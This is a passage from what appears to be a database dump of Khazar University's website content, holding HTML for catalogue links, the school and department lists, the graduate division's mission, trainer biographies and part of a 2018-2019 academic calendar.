href=\"http://www.khazar.org/files/02Student%20Support.pdf\">02Student Support</a><a href=\"http://www.khazar.org/demo/02Student%20Support.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/03Academic%20policy%20and%20calendar.pdf\">03Academic policy and calendar</a><a href=\"http://www.khazar.org/demo/03Academic%20policy%20and%20calendar.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/04School%20of%20Engineering%20and%20Applied%20Science.pdf\">04School of Engineering and Applied Science</a><a href=\"http://www.khazar.org/demo/04School%20of%20Engineering%20and%20Applied%20Science.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/05School%20of%20Economics%20and%20Management.pdf\">05School of Economics and Management</a><a href=\"http://www.khazar.org/demo/05School%20of%20Economics%20and%20Management.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/06School%20of%20Humanities%20and%20Social%20Sciences.pdf\">06School of Humanities and Social Sciences</a><a href=\"/demo/06School of Humanities and Social Sciences.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/07School%20of%20Education.pdf\">07School of Education</a></p><p><a href=\"http://www.khazar.org/files/pdf/NewFolder/08Dunya%20School.pdf\">08Dunya School</a></p><p><a href=\"http://www.khazar.org/files/09Institutes%20and%20Centers.pdf\">09Institutes and Centers</a><a href=\"/demo/09Institutes and Centers.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/10Campus%20life.pdf\">10Campus life</a><a href=\"/demo/10Campus life.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/11Useful%20Information.pdf\">11Useful Information</a></p>'),(16,16,'en','Schools','Schools','<p><a href=\"http://www.khazar.org/en/menus/47/school_of_engineering_and_applied_sciences\"><strong>School of Engineering and Applied Sciences</strong></a></p><p><strong><a href=\"http://www.khazar.org/en/menus/54/school_of_economics_and_management\">School of Economics and Management</a></strong><a href=\"http://www.khazar.org/en/menus/54/school_of_economics_and_management\"></a><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/56/school_of_humanities_and_social_sciences\">School of Humanities and Social Sciences</a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/55/school_of_education\">School of Education</a></strong><br></p>'),(17,17,'en','Division of Graduate Studies and Research','Division of Graduate Studies and\r\nResearch','<p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HISTORY</strong></p><p style=\"font-size:medium\"><strong></strong>On April 22, 2011, by the decree T/16 of the President of Khazar University, the Division of Graduate Studies and Research was established at Khazar University to expand the spectrum of staff preparation, as well as to improve and manage the scale of research works in order to meet the needs of increasing admission rates into graduate studies and master programs of the university.<br><strong>MISSION&nbsp;</strong><strong>Division of Graduate Studies and Research mission covers 2 major areas:</strong></p><ol style=\"font-size:medium\"><li><strong>&nbsp;</strong><strong>Graduate studies</strong></li><li><strong>&nbsp;</strong><strong>Research</strong></li></ol>&nbsp;<ol style=\"font-size:medium\"><li><p><strong>&nbsp;</strong><strong>Responsibilities in the field of GRADUATE STUDIES:<br></strong></p></li></ol><ul style=\"font-size:medium\"><li>Develop and maintain policy manual</li><li>Develop and update graduate bulletin</li><li>Develop web page for the School of Graduate Studies and Research</li><li>Develop and maintain functional database for all graduate programs, students and alumni</li><li>Develop and maintain thesis and dissertation guidelines</li><li>Coordinate and publicize Master’s and Ph.D. programs</li><li>Organize graduate student orientation</li><li>Coordinate graduate committees for each degree program in coordination with School deans</li><li>Establish and coordinate graduate faculty in collaboration with School deans</li><li>Prepare and advertise admissions procedures and requirements in collaboration with School deans</li><li>Coordinate thesis and dissertation defenses, committees etc., in collaboration with School deans</li><li>Advise prospective graduate students</li><li>Collaborate with School deans in preparation of curricula</li><li>Promote graduate programs throughout Azerbaijan and abroad</li><li>International graduate student recruitment</li><li>Coordinate all programs and policies with the Ministry</li><li>Play leadership role in innovations for graduate studies, eg. develop student awards, possible funding streams, graduate student lecture series, etc</li><li>Work with Director of Development on graduate alumni affairs</li><li>Represent the Graduate School to the Ministry and in public forums</li><li>Prepare all necessary reports for the university’s leadership, the ministry, etc.</li><li>Develop international opportunities for graduate students</li><li>Participate in appropriate national and international bodies</li><li>Coordinate graduate student graduation ceremony</li></ul>&nbsp;<div><span style=\"font-size:medium\"><strong>2. &nbsp;&nbsp;</strong><strong>Responsibilities in the field of RESEARCH:</strong></span><span style=\"font-size:medium\"><strong><br></strong></span><ul style=\"font-size:medium\"><li>Promote original research and scholarship among the university’s faculty members</li><li>Support the university’s teaching staff in locating grants and other possible research funding</li><li>Assist faculty in administering grants received, compliance with reporting expectations, etc.</li><li>Support and promote undergraduate research</li><li>Work with schools, departments and faculty to organize scholarly conferences</li><li>Work with Deans to identify research needs in the community – eg. petroleum industry, energy, private sector generally, etc.</li><li>Publicize the university’s research activities and accomplishments</li><li>Develop and maintain records of all faculty and student publications, grants, and other research related achievements</li><li>Prepare all necessary reports for the university’s leadership, the ministry, etc.</li><li>Work with library to develop its capacity to support research</li><li>Participate in appropriate national and international bodies</li></ul>  </div>'),(2267,1387,'az','2016','2016',''),(2268,1387,'en','2016','2016',''),(2269,1388,'az','Məqalələr','Məqalələr ','<div><br></div><p><a href=\"http://www.khazar.org/files/pdf/Sehriyar_ve%20_Heyd%C9%99rbabaya_salam%C4%B1n_ezemeti%3B%20meqale_525-ci_qezet.pdf\">Şəhriyar və “Heydərbabaya Salam”ın əzəməti; məqalə 525-ci qəzet (Sentyabr 2016) &nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/Liam_Foxun_Dalqalar_silsilesi_kitab%C4%B1na_rey%20(%C4%B0yul_2016).docx\">Liam Foxun \"Dalğalar Silsiləsi\" kitabına rəy (İyul 2016)&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/Liam_Foxun_Dalqalar_silsilesi_kitab%C4%B1na_rey%20(%C4%B0yul_2016).docx\"></a><a href=\"http://www.khazar.org/files/pdf/Drivers_of_Change_in_Higher_Education_(Higher_Education_in_Russia_and_Beyond_Summer_2016).PDF\">\"Drivers of Change in Higher Education\" (Higher Education in Russia and Beyond Summer 2016)</a></p><p><a href=\"http://www.khazar.org/files/social/untitled%20folder%201/Hamlet%20Isaxanl%C4%B1n%C4%B1n%20Rus%C3%A7a-T%C3%BCrk%C3%A7e%20Matematik%20S%C3%B6zl%C3%BCk-%C9%99%20%C3%B6n%20s%C3%B6z%C3%BC.pdf\">Hamlet Isaxanlının Rusça-Türkçe Matematik Sözlük-ə ön sözü (2016)</a><br></p><div> <br></div>'),(2270,1389,'az','Müsahibələr','Müsahibələr','<div><br></div><p><a href=\"http://www.khazar.org/files/pdf/Heyat_dersi%20_proqram%C4%B1_(ATV%2C%20Aprel%202016).docx\">&nbsp;\"Həyat dərsi\" proqramı (APA&nbsp;TV, Aprel 2016)</a></p>'),(2271,1390,'az','Haqqında Yazılanlar','Haqqında Yazılanlar','<div><br></div><p><a href=\"http://www.khazar.org/files/pdf/CAT.pdf\">Avrasiya Akademiyası Kataloqu (səh 14-15) </a> <br></p><p><a href=\"http://www.khazar.org/files/founder/about/Sabir%20R%C3%BCst%C9%99mo%C4%9Flu--D%C3%BC%C5%9F%C3%BCnc%C9%99l%C9%99r-.pdf\">Sabir Rüstəmoğlu&nbsp;--&nbsp;Düşüncələr</a><br></p>'),(18,18,'en','Institutes and Centers','Institutes and Centers','<div><br></div><div><br></div><div style=\"font-size:medium\"><span style=\"font-family:\'times new roman\', times, serif\">Institutes and Centers</span>  <span style=\"font-family:\'times new roman\', times, serif\"><br></span></div>'),(19,19,'en','Academic Departments','Academic Departments','<p><a href=\"http://www.khazar.org/en/menus/117/azerbaijani_language_and_literature\">Azerbaijani Language and Literature</a></p><p><a href=\"http://www.khazar.org/en/menus/117/azerbaijani_language_and_literature\"></a><a href=\"http://www.khazar.org/en/menus/118/biomedical_engineering\">Biomedical Engineering</a></p><p><a href=\"http://www.khazar.org/en/menus/118/biomedical_engineering\"></a><a href=\"http://www.khazar.org/en/menus/119/biological_sciences\">Biological Sciences</a></p><p><a href=\"http://www.khazar.org/en/menus/119/biological_sciences\"></a><a href=\"http://www.khazar.org/en/menus/121/civil_engineering\">Civil Engineering</a></p><p><a href=\"http://www.khazar.org/en/menus/121/civil_engineering\"></a><a href=\"http://www.khazar.org/en/menus/122/chemical_engineering_and_applied_chemistry\">Chemical Engineering and Applied Chemistry</a></p><p><a href=\"http://www.khazar.org/en/menus/122/chemical_engineering_and_applied_chemistry\"></a><a href=\"http://www.khazar.org/en/menus/123/computer_sciences_and_computer_engineering\">Computer Sciences and Computer Engineering</a></p><p><a href=\"http://www.khazar.org/en/menus/123/computer_sciences_and_computer_engineering\"></a><a href=\"http://www.khazar.org/en/menus/124/languages_and_cultures_\">Languages and Cultures</a></p><p><a href=\"http://www.khazar.org/en/menus/124/languages_and_cultures_\"></a><a href=\"http://www.khazar.org/en/menus/125/economics_and_management\">Economics and Management</a></p><p><a href=\"http://www.khazar.org/en/menus/125/economics_and_management\"></a><a href=\"http://www.khazar.org/en/menus/126/education\">Education</a></p><p><a href=\"http://www.khazar.org/en/menus/126/education\"></a><a href=\"http://www.khazar.org/en/menus/127/english_language_and_literature\">English Language and Literature</a></p><p><a href=\"http://www.khazar.org/en/menus/127/english_language_and_literature\"></a><a href=\"http://www.khazar.org/en/menus/128/electronics_and_telecommunications\">Electronics and Telecommunications</a></p><p><a href=\"http://www.khazar.org/en/menus/128/electronics_and_telecommunications\"></a><a href=\"http://www.khazar.org/en/menus/129/geography_and_environment\">Geography and Environment</a></p><p><a href=\"http://www.khazar.org/en/menus/129/geography_and_environment\"></a><a href=\"http://www.khazar.org/en/menus/130/history_and_archaeology\">History and Archaeology</a></p><p><a href=\"http://www.khazar.org/en/menus/130/history_and_archaeology\"></a><a href=\"http://www.khazar.org/en/menus/131/journalism\">Journalism</a></p><p><a href=\"http://www.khazar.org/en/menus/131/journalism\"></a><a href=\"http://www.khazar.org/en/menus/132/law\">Law</a></p><p><a href=\"http://www.khazar.org/en/menus/132/law\"></a><a href=\"http://www.khazar.org/en/menus/1105/mechanical_engineering\">Mechanical Engineering</a></p><p><a href=\"http://www.khazar.org/en/menus/1105/mechanical_engineering\"></a><a href=\"http://www.khazar.org/en/menus/133/mathematics\">Mathematics</a></p><p><a href=\"http://www.khazar.org/en/menus/135/music_and_fine_arts\">Music and Fine\r\nArts</a></p>\r\n<p><a href=\"http://www.khazar.org/en/menus/136/petroleum_engineering\">Petroleum\r\nEngineering</a></p>\r\n<p><a href=\"http://www.khazar.org/en/menus/137/philosophy_and_sociology\">Philosophy\r\nand Sociology</a></p>\r\n<p><a href=\"http://www.khazar.org/en/menus/138/political_science_and_international_relations\">Political\r\nScience and International Relations</a></p>\r\n<p><a href=\"http://www.khazar.org/en/menus/139/psychology\">Psychology</a></p>'),(20,20,'en','Summer School','Summer School','                <h3>Educational and Research Institutions</h3>\r\n                <p>\r\n                    Khazar University has long tradition of international cooperation. Since its establishment, international affiliations have become one the major goals of the university. Khazar is actively engaged in collaborative projects and partnerships all over the world. Its current objective is to focus on the content and quality of international cooperation in order to make internationalization a balanced element of education and research. International cooperation is a prerequisite for ensuring the sustainability and quality of teaching and research at a university. Cultivating a network of international relations allows Khazar University to boost the mobility of its academic staff and students.\r\n                </p>\r\n\r\n                <b>The internationalization processes take place in the following areas:</b>\r\n\r\n                <ul>\r\n                    <li> Bilateral cooperation agreements (with 46 universities in 22 countries all over the world);</li>\r\n                    <li> Membership in three consortiums of universities: International Information Security Research Consortium; </li>\r\n                    <li>Caucasus International</li>\r\n                    <li>Consortium for Academic Cooperation (CICAC); and Alliance of Universities for Democracy;</li>\r\n                    <li>Participation in international educational and research programs and projects;</li>\r\n                    <li>Exchanges of students and academic staff;</li>\r\n                    <li> International cooperation on the faculty, institute, department and individual levels.</li>\r\n\r\n                </ul>\r\n\r\n                <p>\r\n\r\n                    By participating in three different consortiums of universities, Khazar University strives to intensify different types of exchanges and to widen possibilities for internationalization of studies and research.\r\n                </p>\r\n'),(21,21,'en','Dunya School','Dunya School','                <h3>Educational and Research Institutions</h3>\r\n                <p>\r\n                    Khazar University has long tradition of international cooperation. Since its establishment, international affiliations have become one the major goals of the university. Khazar is actively engaged in collaborative projects and partnerships all over the world. Its current objective is to focus on the content and quality of international cooperation in order to make internationalization a balanced element of education and research. International cooperation is a prerequisite for ensuring the sustainability and quality of teaching and research at a university. Cultivating a network of international relations allows Khazar University to boost the mobility of its academic staff and students.\r\n                </p>\r\n\r\n                <b>The internationalization processes take place in the following areas:</b>\r\n\r\n                <ul>\r\n                    <li> Bilateral cooperation agreements (with 46 universities in 22 countries all over the world);</li>\r\n                    <li> Membership in three consortiums of universities: International Information Security Research Consortium; </li>\r\n                    <li>Caucasus International</li>\r\n                    <li>Consortium for Academic Cooperation (CICAC); and Alliance of Universities for Democracy;</li>\r\n                    <li>Participation in international educational and research programs and projects;</li>\r\n                    <li>Exchanges of students and academic staff;</li>\r\n                    <li> International cooperation on the faculty, institute, department and individual levels.</li>\r\n\r\n                </ul>\r\n\r\n                <p>\r\n\r\n                    By participating in three different consortiums of universities, Khazar University strives to intensify different types of exchanges and to widen possibilities for internationalization of studies and research.\r\n                </p>\r\n'),(22,22,'en','Library','Library','<p><a href=\"http://library.khazar.org/\">Library&nbsp;</a></p>'),(23,23,'en','Partnerships','Partnerships','<p>Khazar University has a long tradition of international cooperation. Since its establishment, international affiliations have been one of the major goals of the university. Khazar is actively engaged in collaborative projects and partnerships all over the world.</p><p>The current objective is to focus on the content and quality of international cooperation in order to make internationalization a balanced element of education and research. International cooperation is a prerequisite for ensuring the sustainability and quality of teaching and research at a university.&nbsp;</p>'),(24,24,'en','International Partnerships','International Partnerships','                <h3>Educational and Research Institutions</h3>\r\n                <p>\r\n                    Khazar University has long tradition of international cooperation. Since its establishment, international affiliations have become one the major goals of the university. Khazar is actively engaged in collaborative projects and partnerships all over the world. Its current objective is to focus on the content and quality of international cooperation in order to make internationalization a balanced element of education and research. International cooperation is a prerequisite for ensuring the sustainability and quality of teaching and research at a university. Cultivating a network of international relations allows Khazar University to boost the mobility of its academic staff and students.\r\n                </p>\r\n\r\n                <b>The internationalization processes take place in the following areas:</b>\r\n\r\n                <ul>\r\n                    <li> Bilateral cooperation agreements (with 46 universities in 22 countries all over the world);</li>\r\n                    <li> Membership in three consortiums of universities: International Information Security Research Consortium; </li>\r\n                    <li>Caucasus International</li>\r\n                    <li>Consortium for Academic Cooperation (CICAC); and Alliance of Universities for Democracy;</li>\r\n                    <li>Participation in international educational and research programs and projects;</li>\r\n                    <li>Exchanges of students and academic staff;</li>\r\n                    <li> International cooperation on the faculty, institute, department and individual levels.</li>\r\n\r\n                </ul>\r\n\r\n                <p>\r\n\r\n                    By participating in three different consortiums of universities, Khazar University strives to intensify different types of exchanges and to widen possibilities for internationalization of studies and research.\r\n                </p>\r\n'),(25,25,'en','Academic Policy','Academic Policy','<h3>Academic Policy</h3>'),(670,459,'en','Trainers','Trainers','<p><br></p><img src=\"/files/demo/14_11_25_Ingilab_Ahmadov.jpg\" style=\"border:0px #000000;float:left;width:200px;height:240px;margin-right:10px\"><strong style=\"font-family:\'times new roman\', times, serif;font-size:medium\">INGILAB AHMADOV</strong><p><span style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prof. Ingilab Ahmadov obtained a Doctor of Science in Economics from the Saint Petersburg (Russia) State University of Economics and Finance. In 2008 as a Chevening Fellow, Ingilab Ahmadov took the “Economics of Energy” course at Reading University (UK). His work experience is both extensive and outstanding. He started his career as an instructor at Azerbaijan State Oil Academy and scientific employee at the Center for Strategic and International Studies. He was appointed Advisor to the Minister at the Ministry of Economy of the Republic of Azerbaijan. Since 1995, he acted as Director General of the “Trend” analytical information agency, and between 2004 and 2010 he was the director of Public Finance Monitoring Center—an NGO located in Baku. Prof. Ahmadov has research collaborations with and is a visiting professor of leading universities such as Kiel Institute for the World Economy as well as Oxford and Reading University. His research interests are oil &amp; gas economy and impact of oil revenues on economy, Caspian energy resources, and oil contracts. Prof. Ahmadov has more than 30 research papers and books. Mr. Ahmadov joined the School of Economics and Management at Khazar University in 2008. He mainly teaches courses in Energy Management and Caspian Energy. Ingilab Ahmadov was a member of the International Board of the Extractive Industries Transparency Initiative. Prof. Ahmadov became director of Eurasia Extractive Industries Knowledge Hub and Dean of the School of Economics and Management at Khazar University in 201</span>0.<strong>&nbsp;</strong></p><p><strong style=\"color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify\"><br></strong></p><p><strong style=\"color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify\"><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong style=\"color:#3a3b3b;line-height:15px;text-align:justify\">ANDREW BAUER</strong><strong><img src=\"/files/demo/14_11_20_ABauer_150.jpg\" style=\"border:0px #000000;width:200px;height:266px;margin-right:10px;float:left\"></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Andrew&nbsp;<strong>Bauer</strong>&nbsp;is an economic analyst at the Revenue Watch Institute. Prior to joining, he served on Canada\'s G7/8 and G-20 teams as an international economist at the Department of Finance, where he provided economic policy advice and participated in the planning and execution of the G8 and G-20 Summits as well as preparatory finance ministerials during Canada\'s host year. He has held positions in government, nonprofits and the private sector, having worked for Debt Relief International, UNICEF-Canada, Transparency International-Kenya, the Commission on Human Rights and Administrative Justice (CHRAJ-Ghana), among others.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">At Revenue Watch, Andrew&nbsp;<strong>Bauer</strong>&nbsp;focuses on economic technical assistance and research to improve natural resource revenue management. His work includes advising governments and civil society on macroeconomic management, governance and accountability mechanisms, and local content in the extractives. Andrew holds an M.Sc. in Economics for Development from Oxford University, where he won a thesis distinction for his work on the monetary transmission mechanism in Tanzania. He also received a B.A. in Economics and International Development Studies from McGill University.</p><p><br></p><p><br></p><p><img src=\"/files/demo/14_11_25_Susan_Maples.jpg\" style=\"border:0px  #000000;margin-right:10px;width:200px;height:263px;float:left\"><strong style=\"color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:medium;line-height:15px;text-align:justify\">ERICA WESTENBERG</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Erica practiced as an attorney for over five years in the Energy and Infrastructure Projects group at Skadden, Arps, Slate, Meagher and Flom LLP, where she managed numerous complex transactions in the areas of energy and natural resources, infrastructure and public-private partnerships. Her pro bono projects included work on parliamentary oversight of extractive industry contracts as well as engagement through the International Senior Lawyers Project on governance reforms in Africa. As EITI Policy Officer, Erica leads RWI\'s multifaceted engagement with the Extractive Industries Transparency Initiative, which includes supporting the RWI representative to the EITI International Board, providing technical assistance to EITI processes globally and conducting research on EITI-related issues. Erica received a B.A. in government and a certificate in African studies from Harvard College and a M.Sc. in Development Management from the London School of Economics. She holds a J.D. from Harvard Law School, where she received a Chayes International Public Service Fellowship to work on legal and judicial reform in Europe and Central Asia at the World Bank.</p>  <p><br></p><p><br></p><p><br></p><p><img src=\"/files/demo/14_11_25_Kate.jpg\" style=\"width:200px;height:229px;margin-right:10px;float:left\"><strong style=\"color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:medium;line-height:15px;text-align:justify\">KATARINA KUAI</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Before Revenue Watch, Katarina&nbsp;<strong>Kuai</strong>&nbsp;worked at the United Nations in New York as well as on field missions in Afghanistan and Indonesia. At the Office of the U.N. High Commissioner for Human Rights, she worked on an inter-agency initiative to promote rights-based approaches in the U.N.\'s approach to development, peace and security. She has also worked for UNDP, conducting policy research and managing projects in various areas including South-South cooperation, civil society partnerships and indigenous peoples\' issues. As program officer, Katarina\'s focus is on training and capacity development in downstream phases of the extractive sector value chain including revenue management and economic diversification. She is leading RWI\'s work in Afghanistan and has a special interest in conflict-resource linkages, China-Africa relations and Chinese NOC engagement in extractive sector governance. In addition, Katarina oversees the development of RWI training modules and the management of fellowships. She holds a Masters in International Relations from Yale University and a BA from New School University.&nbsp;</p><p><br></p>  <p><br></p>  <p><img src=\"/files/demo/14_11_25_susanmaples.jpg\" style=\"border:0px #000000;width:200px;height:200px;margin-right:10px;vertical-align:baseline;float:left\">&nbsp;<strong style=\"color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:medium;line-height:15px;text-align:justify\">SUSAN MAPLES</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Susan Maples is currently a Visiting Assistant Professor and Andrews Kurth Energy Scholar.&nbsp; Susan\'s research interests and teaching areas are in comparative constitutional analysis of the governance of natural resources; comparative analysis of oil, gas, and mining laws; energy diplomacy; international petroleum transactions and regulatory frameworks; oil &amp; gas transport; upstream economics; state participation and equity, and resource and energy policy. She has worked in over 25 countries, providing trainings, lectures, and legal and policy support to parliaments, governments, and citizens in resource rich countries and continues to be consulted for advice, research, and lectures by private industry, governments, and civil society.&nbsp;<br>Susan was also Post-Doctoral Research Fellow at Columbia Law School from 2007-2011, first at the Human Rights Institute under Professor Peter Rosenblum and then at the Vale Columbia Center for Sustainable International Investment under Professor Jeffrey Sachs.&nbsp;&nbsp;&nbsp; She was a co-author of Oil Contracts: How to read and understand them, the co-author of Contracts Confidential: Ending Secret Deals in the Extractive Industries, and a contributor to the forthcoming study, Resource-Based Sustainable Development in the Lower Zambezi Basin.&nbsp;</p><p><br></p><p><img src=\"http://www.khazar.org/media/14_11_25_Azer_(1).jpg\" style=\"border:0px  #000000;width:200px;height:186px;margin-right:10px;float:left\"></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:medium;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>AZER MEHTIYEV</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Azer Mehtiyev is head of “Assistance to Economic Initiatives” PU. As one of the leading economists of the country, he is the author of several important research works on the improvement of effectiveness and transparency of budget process and budget expenses, as well as the implementer of monitoring projects in this field. As a member of Extractive Industry Transparency Initiative NGO Coalition, he is an active participant in the realization of this initiative in Azerbaijan. He was head of the Coalition Council in 2008-2009. While headed by Azer Mehtiyev, the Coalition conducted the validation of EITI in Azerbaijan and achieved the acceptance of its certain terms (especially the establishment of Multi-party Group) by the Government Commission. Azer Mehtiyev is a member of National Budget Group (NBG) Board. He acts as the trainer of NBG trainings on budgeting process, monitoring of budget expenses and budget advocacy issues organized for NGO representatives and journalists. Azer Mehtiyev is also a member of NGO Alliance for the Development of Municipalities that deals with decentralization initiatives and advocacy of the development of local self-governance and acted as the coordinator of this Alliance in 2011-2013. Azer Mehtiyev is the lecturer for the School of “Enterprise Economy” of Azerbaijan State Economic University.&nbsp;<strong>&nbsp;</strong></p><p><br></p><p><strong></strong></p>  <p><strong><img src=\"/files/demo/14_11_25_Galib_Efendiev.jpg\" style=\"border:0px  #000000;margin-right:10px;width:200px;height:232px;float:left\"></strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:medium;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>GALIB EFENDIEV</strong></p><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Before joining RWI, Galib&nbsp;<strong>Efendiev</strong>&nbsp;worked at the Open Society Institute - Assistance, as director of the Transparency of Oil Revenues and Public Finance (TORPF) program and as head of the grants department. He joined OSI in Azerbaijan at its founding in 1996, helping to manage OSI\'s first programs in Azerbaijan and serving as Deputy Director for several years. As RWI\'s Central Asia/Caucasus Regional Coordinator, Galib provides guidance to consolidate local monitoring activities and helps to manage local research, monitoring, advocacy and technical assistance in Azerbaijan, Kazakhstan, Mongolia and Russia, with smaller-scale activities in Georgia, Kyrgyz Republic and the Ukraine. He holds a BS from Rutgers University, with majors in Finance and Management and Eastern European Studies.<strong>&nbsp;</strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><img src=\"/files/demo/14_11_25_Kenan_Aslanli.jpg\" style=\"margin-right:10px;float:left;width:200px;height:204px\"></strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:medium;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>GALIB EFENDIEV</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Before joining RWI, Galib&nbsp;<strong>Efendiev</strong>&nbsp;worked at the Open Society Institute - Assistance, as director of the Transparency of Oil Revenues and Public Finance (TORPF) program and as head of the grants department. He joined OSI in Azerbaijan at its founding in 1996, helping to manage OSI\'s first programs in Azerbaijan and serving as Deputy Director for several years. As RWI\'s Central Asia/Caucasus Regional Coordinator, Galib provides guidance to consolidate local monitoring activities and helps to manage local research, monitoring, advocacy and technical assistance in Azerbaijan, Kazakhstan, Mongolia and Russia, with smaller-scale activities in Georgia, Kyrgyz Republic and the Ukraine. He holds a BS from Rutgers University, with majors in Finance and Management and Eastern European Studies.<strong>&nbsp;</strong></p>  <p><strong><br></strong></p><p><strong><br></strong></p><p><strong><img src=\"/files/demo/14_11_25_Sabit_Bagirov.jpg\" style=\"width:200px;height:281px;margin-right:10px;float:left\"></strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:medium;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>SABIT BAGIROV</strong></p><p><span style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Sabit Bagirov is the president of the Entrepreneurship Development Foundation and director of the Center for Economic and Political Research in Baku, Azerbaijan. In 1971 he graduated from the Mechanical Faculty of the Azerbaijani Petrochemical Institute (currently the Oil Academy). Bagirov defended his dissertation at the Institute of Management Problems of the USSR Academy of Sciences (Moscow). From 1992-1993, he served as the state advisor on strategic programs to the President of Azerbaijan, helping establish state committees on antimonopoly policy and support for entrepreneurship, privatization of state property, land reform, and foreign investment. During that time, he was also President of the State Oil Company of Azerbaijan (SOCAR), during which he restructured the company for greater efficiency and was responsible for contracts with foreign investors for the development of oil and gas. From 1994 he was consultant for several private companies on Caspian energy projects, and in 1998 and in 2004 he was a consultant of World Bank on Azerbaijan energy projects. Currently his positions in non-governmental sector include Founder and Member of Board of NGO Coalition on EITI-Azerbaijan , Founder and Member of Azerbaijan National Committee for European Integration, Founder and Member of Board of Transparency Azerbaijan. In 2011-2013 was a member of the International EITI Board</span>.<strong>&nbsp;</strong></p>  <p><strong><br></strong></p>  </div><p><strong>&nbsp;<br></strong></p>  <p><br></p>  <br><div>_</div><div>_</div><br><br>  <p><br></p>  <p><strong><br></strong></p>'),(26,26,'en','Academic Calendar','Academic Calendar','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">The academic year runs from September to June and is divided into two\r\nsemesters, Fall and Spring. The summer term is not compulsory for students, but\r\nis used to complete courses for program acceleration and to earn extra credits.</p><h3 style=\"text-align:center\"><strong><br></strong></h3><h3 style=\"text-align:center\"><strong>ACADEMIC CALENDAR 2018-2019</strong></h3><br><table cellspacing=\"0\" cellpadding=\"0\" width=\"100%\" style=\"\" width:100.0%;background:white;border-collapse:collapse;border-width:1px;border-style:solid\"=\"\">\r\n <tbody>\r\n <tr style=\"height:27.0pt\">\r\n  <td width=\"100%\" colspan=\"3\" style=\"\" width:100.0%;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt;height:27.0pt\";vertical-align:top\"=\"\">\r\n  <h2>&nbsp;Fall Semester 2018</h2>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"25%\" rowspan=\"2\" style=\"width:25.2%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>&nbsp;September</strong><strong>&nbsp;</strong><strong></strong></p>\r\n  </td>\r\n  <td width=\"15%\" style=\"width:15.44%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>14</strong></p>\r\n  </td>\r\n  <td width=\"59%\" style=\"width:59.36%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>Last Day of Registration</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"15%\" style=\"width:15.44%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>15</strong></p>\r\n  </td>\r\n  <td width=\"59%\" style=\"width:59.36%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>Classes Begin</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"100%\" colspan=\"3\" style=\"width:100.0%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>&nbsp;</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"25%\" rowspan=\"3\" style=\"width:25.2%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>&nbsp;</strong><strong>November</strong></p>\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>&nbsp;</strong></p>\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"15%\" style=\"width:15.44%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p 